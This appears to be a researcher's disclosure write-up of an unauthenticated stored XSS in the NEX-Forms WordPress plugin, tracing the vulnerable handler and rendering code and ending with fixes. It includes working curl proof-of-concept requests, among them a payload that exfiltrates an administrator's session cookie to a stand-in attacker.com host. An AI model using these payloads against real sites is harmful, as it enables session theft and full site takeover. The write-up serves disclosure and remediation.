Tags: #WordPresSecurity #InfoSec #SecurityResearch
Press enter or click to view image in full size
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:NNEX-Forms Express WP Form Builder is a widely deployed WordPress form plugin. While reviewing its form submission pipeline, I found a stored Cross-Site Scripting vulnerability that requires zero authentication to exploit and results in full WordPress administrator compromise.
Join Medium for free to get updates from this writer.
The vulnerability chains three distinct weaknesses:
Together, these allow a remote attacker to permanently plant malicious JavaScript that fires in every administrator’s browser — automatically, every time they view the form entries.
main.php:2656)WordPress has two AJAX hook prefixes: wp_ajax_ (logged-in users) and wp_ajax_nopriv_ (anonymous users). NEX-Forms registers both for its form submission handler:
add_action( 'wp_ajax_submit_nex_form', 'submit_nex_form' );
add_action( 'wp_ajax_nopriv_submit_nex_form', 'submit_nex_form' ); // ← anonymous accessRegistering a nopriv handler is legitimate for a public contact form. The problem is what the handler does — there's no nonce verification, no CSRF check, and no rate limiting:
function submit_nex_form($entry_action = false) {
// ONLY check: honeypot field must be empty
if ((sanitize_text_field($_POST['company_url']) != '') || strstr(..., '@qq.com'))
die();
// No: wp_verify_nonce(), check_ajax_referer(), current_user_can()
// → proceeds directly to processing POST dataLeave company_url empty and avoid a @qq.com address — you're in.
main.php:2883)Inside the handler, form fields from $_POST are processed in a loop. Here's the critical divergence:
if (is_array($val) || is_object($val)) {
// ← CWE-79: rest_sanitize_array() does NO HTML stripping
$data_array[] = [
'field_name' => $key,
'field_value' => rest_sanitize_array($val),
];
} else {
$val = strip_tags($val); // ← scalar fields ARE stripped ✓
$data_array[] = ['field_name' => $key,
'field_value' => sanitize_text_field(str_replace('\\', '', $val))];
}⚠️ The key fact:
rest_sanitize_array()is a WordPress REST API utility. Its entire implementation isreturn array_values($data)— it reindexes the array and does nothing else. No HTML stripping. No entity encoding. Raw<script>,<img onerror>, and any other HTML passes straight through.
The fix for scalar fields is right there in the else branch. The developer correctly applied strip_tags() to strings but chose the wrong function for array inputs.
class.db.php:2624)When an admin opens an entry in the NEX-Forms dashboard, populate_form_entry() decodes the stored JSON and renders each field into an HTML table. For array-type values:
foreach ($field_value as $val) {
// ...
$output .= rtrim($val, ', ') . '<br />'; // ← no esc_html(), raw HTML output
}rtrim() strips trailing commas and spaces. That's it. The stored <img src=x onerror=alert(document.domain)> is written verbatim into $output, which is echoed directly into the admin page. WordPress's esc_html() — a one-character fix — was never applied.
Unauthenticated Attacker
│
│ 1. HTTP POST — no credentials, no nonce, no CSRF token
│ action=submit_nex_form
│ nex_forms_Id=1
│ company_url= ← honeypot bypassed (empty)
│ [email protected]
│ payload[]=<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>
│
▼
wp_ajax_nopriv_ handler fires
submit_nex_form() passes honeypot check
rest_sanitize_array() stores raw HTML → wp_wap_nex_forms_entries.form_data
│
│ 2. Normal admin workflow: NEX-Forms → Entries
│ (no special action required)
│
▼
populate_form_entry() decodes JSON
rtrim($val) echoed without esc_html()
<img src=x onerror=...> written directly into admin page DOM
│
▼
Browser renders admin page
onerror fires automatically (no click required)
Session cookie exfiltrated to attacker's server
│
▼
COMPLETE SITE TAKEOVER
→ Rogue admin account created
→ Backdoor plugin installed
→ Full database exfiltratedAfter submitting the PoC payload, a direct database check confirms the raw HTML is persisted:
SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;[
{"field_name": "email", "field_value": "[email protected]"},
{"field_name": "payload", "field_value": ["<img src=x onerror=alert(document.domain)>"]}
]The <img> tag is stored verbatim with no entity encoding. It persists until manually deleted — meaning every admin who views the Entries page will trigger the XSS, not just the first.
Lab-confirmed AJAX response when admin loads the injected entry:
<td valign="top" style="vertical-align:top !important;">
<table width="100%" class="highlight" cellpadding="10" cellspacing="0">
<img src=x onerror=alert(document.domain)><br />
</table>
</td>The <img> tag lands directly in the DOM. The browser tries to load src="x", fails, and fires onerror — no click, no interaction required.
Disclosure note: This PoC is provided for educational and authorized security testing only. Lab environment: WordPress 6.9.4, NEX-Forms 9.1.10, Bitnami Docker.
curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=submit_nex_form" \
--data "nex_forms_Id=1" \
--data "company_url=" \
--data "[email protected]" \
--data "payload[]=<img src=x onerror=alert(document.domain)>"Expected response — valid entry ID confirms storage:
<input type="hidden" name="nf_entry_id" value="13">wp db query "SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;"
# The <img> tag appears verbatim in field_value — no HTML encoding.http://TARGET/wp-admin/alert("localhost:8080") fires immediately — no interaction beyond page loadcurl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=submit_nex_form" \
--data "nex_forms_Id=1" \
--data "company_url=" \
--data "[email protected]" \
--data 'payload[]=<img src=x onerror="var i=new Image();i.src='"'"'https://attacker.com/steal?c='"'"'+encodeURIComponent(document.cookie);">'When the administrator views entries, their session cookie is silently exfiltrated. From there, the attacker can create rogue admin accounts, install PHP webshell plugins, or dump the entire database.
Two independent fixes are both necessary: sanitize at input, escape at output.
main.php:2883)Vulnerable:
$data_array[] = [
'field_name' => $key,
'field_value' => rest_sanitize_array($val), // ← no HTML stripping
];Fixed:
$sanitized = array_map('sanitize_text_field', (array) $val);
$data_array[] = [
'field_name' => $key,
'field_value' => $sanitized,
];class.db.php:2624)Vulnerable:
$output .= rtrim($val, ', ') . '<br />';Fixed:
$output .= esc_html(rtrim($val, ', ')) . '<br />';// Add at the top of submit_nex_form():
if (!isset($_POST['nf_nonce']) ||
!wp_verify_nonce($_POST['nf_nonce'], 'nf_submit_' . $nex_forms_id)) {
wp_send_json_error('Invalid request');
}Fix 1 and Fix 2 each independently prevent the XSS. Fix 3 makes automated injection harder but is not a substitute for proper sanitization and escaping.